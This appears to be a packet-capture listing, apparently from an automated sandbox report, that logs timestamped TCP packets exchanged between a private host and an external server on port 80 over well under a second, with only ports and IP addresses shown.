Dec 19, 2024 14:10:12.785290956 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.785331011 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.785331011 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.786806107 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.786880016 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.786900043 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.786915064 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.788763046 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.788885117 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.788907051 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.788949013 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.790604115 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.790721893 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.791141987 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.791256905 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.791974068 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.792032003 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.792571068 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.792634964 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.793765068 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.793822050 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.793857098 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.793945074 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.795459032 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.795519114 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.795562029 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.795644999 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.797207117 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.797291994 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.797317028 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.797394991 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.798962116 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.799007893 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.799089909 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.799191952 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.800792933 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.800841093 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.800899029 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.801002979 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.802510023 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.802632093 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.802725077 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.802774906 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.804459095 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.804521084 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.804553986 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.804615021 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.806026936 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.806112051 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.806121111 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.806175947 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.807826996 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.807904959 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.807923079 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.808024883 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.809750080 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.809873104 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.809879065 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.810003996 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.811322927 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.811368942 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.811430931 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.811480045 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.813086987 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.813193083 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.813204050 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.813256979 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.814878941 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.814951897 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.815095901 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.815165043 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.816633940 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.816653013 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.816767931 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.818428993 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.818466902 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.818505049 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.818505049 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.820223093 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.820283890 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.820291042 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.820343971 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.821886063 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.821991920 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.822011948 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.822062016 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.823667049 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.823744059 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.823766947 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.823817015 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.825457096 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.825551033 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.825556993 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.825594902 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.827368975 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.827439070 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.828051090 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.828115940 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.828941107 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.829058886 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.829205990 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.829205990 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.830734015 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.830804110 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.830840111 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.830840111 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.832484007 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.832590103 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.832767963 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.832823992 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.834234953 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.834331989 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.834481001 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.834580898 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.836066961 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.836189985 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.836210012 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.836253881 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.837883949 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.837981939 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.837995052 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.838052988 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.936450958 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.936499119 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.936597109 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.937156916 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.937302113 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.937302113 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.937306881 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.937370062 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.938548088 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.938606977 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.938613892 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.938760042 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.939878941 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.939984083 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.940041065 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.940115929 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.941283941 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.941390991 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.941450119 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.941450119 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.942728996 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.942893028 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.942931890 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.943104029 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.944026947 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.944072008 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.944087029 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.944113016 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.945341110 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.945410013 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.945519924 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.945519924 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.946666956 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.946760893 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.946789980 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.946846008 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.948139906 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.948209047 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.948251963 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.948354959 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.949491978 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.949558973 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.949573994 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.949610949 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.950793982 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.950927019 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.950977087 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.950977087 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.951814890 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.951914072 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.951932907 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.952001095 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.953325987 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.953469038 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.953577995 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.953650951 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.954478025 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.954554081 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.954629898 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.954720020 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.955722094 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.955801964 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.955859900 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.955955029 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.956813097 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.956924915 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.956990957 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.956990957 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.958189964 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.958255053 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.958260059 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.958329916 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.959451914 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.959534883 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.959573984 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.959609032 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.960556030 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.960650921 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.960796118 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.961045980 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.961719990 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.961791992 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.961863041 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.961944103 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.962861061 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.963000059 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.963021994 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.963097095 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.964011908 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.964119911 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.964127064 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.964184046 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.965303898 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.965373039 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.965393066 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.965472937 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.966427088 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.966502905 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.966685057 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.966737032 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.967597961 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.967727900 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.967745066 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.967802048 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.968792915 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.968880892 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.968916893 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.968974113 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.969985008 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.970125914 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.970211983 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.970257044 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.971158028 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.971177101 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.971236944 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.971236944 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.972321033 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.972382069 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.972397089 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.972481012 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.973553896 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.973644018 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.973705053 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.973752975 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.974652052 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.974761963 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.974783897 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.974827051 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.975961924 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.976035118 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.976104975 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.976202011 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.977103949 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.977202892 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.977235079 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.977369070 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.978244066 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.978355885 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.978387117 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.978446960 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.979707956 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.979752064 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.979804993 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.979856968 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.980624914 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.980761051 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.980776072 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.980886936 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.981802940 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.981887102 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.981909990 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.981990099 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.983025074 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.983108044 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.983144045 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.983243942 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.984162092 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.984246016 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.984281063 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.984400034 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.985404015 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.985476971 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.985497952 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.985538006 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.986737967 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.986793041 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.986836910 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.986885071 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.987929106 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.987996101 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.988172054 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.988219023 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.988929033 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.988996983 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.989059925 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.989128113 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.990258932 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.990339041 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.990359068 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.990428925 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.991302013 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.991358042 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.991416931 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.991509914 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.992508888 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.992592096 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.992624044 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.992695093 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.993725061 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.993776083 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.993803024 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.993913889 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.995034933 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.995098114 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.995111942 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.995219946 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.995980978 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.996110916 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.996244907 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.996306896 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.997226000 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.997354031 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.997360945 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.997416019 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.998393059 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.998459101 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.998491049 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.998600960 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.999553919 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.999648094 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.999653101 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.999754906 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.000705957 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.000824928 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.128988981 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.129007101 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.129169941 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.129169941 CET	49754	80	192.168.2.4	31.41.244.11
